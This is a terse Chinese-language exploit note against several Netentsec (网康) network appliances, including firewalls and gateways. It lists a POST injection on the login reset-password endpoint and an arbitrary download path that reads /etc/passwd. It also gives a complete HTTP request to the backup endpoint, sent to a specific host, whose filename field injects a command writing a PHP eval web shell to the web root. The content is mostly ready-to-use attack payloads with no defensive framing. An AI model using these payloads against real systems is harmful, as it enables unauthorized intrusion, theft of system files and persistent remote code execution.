网康智能流量管理系统
网康科技·日志分析中心
网康集中管理平台
网康互联网控制网关
网康下一代防火墙
登陆口 /user/login/resetpass /login/resetpass post注入
后台任意下载
system/backup/down?path=/etc/passwd
备份命令执行
POST /system/backup/backup HTTP/1.1 Host: qujiangyizhong.com Connection: keep-alive Content-Length: 24 Origin: https://qujiangyizhong.com X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: */* DNT: 1 Referer: https://qujiangyizhong.com/system/backup/index Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8 Cookie: data:filename=backup_20140501;echo "<?php eval(\$_POST[cmd]);?>" > /var/www/html/tmp/test.php;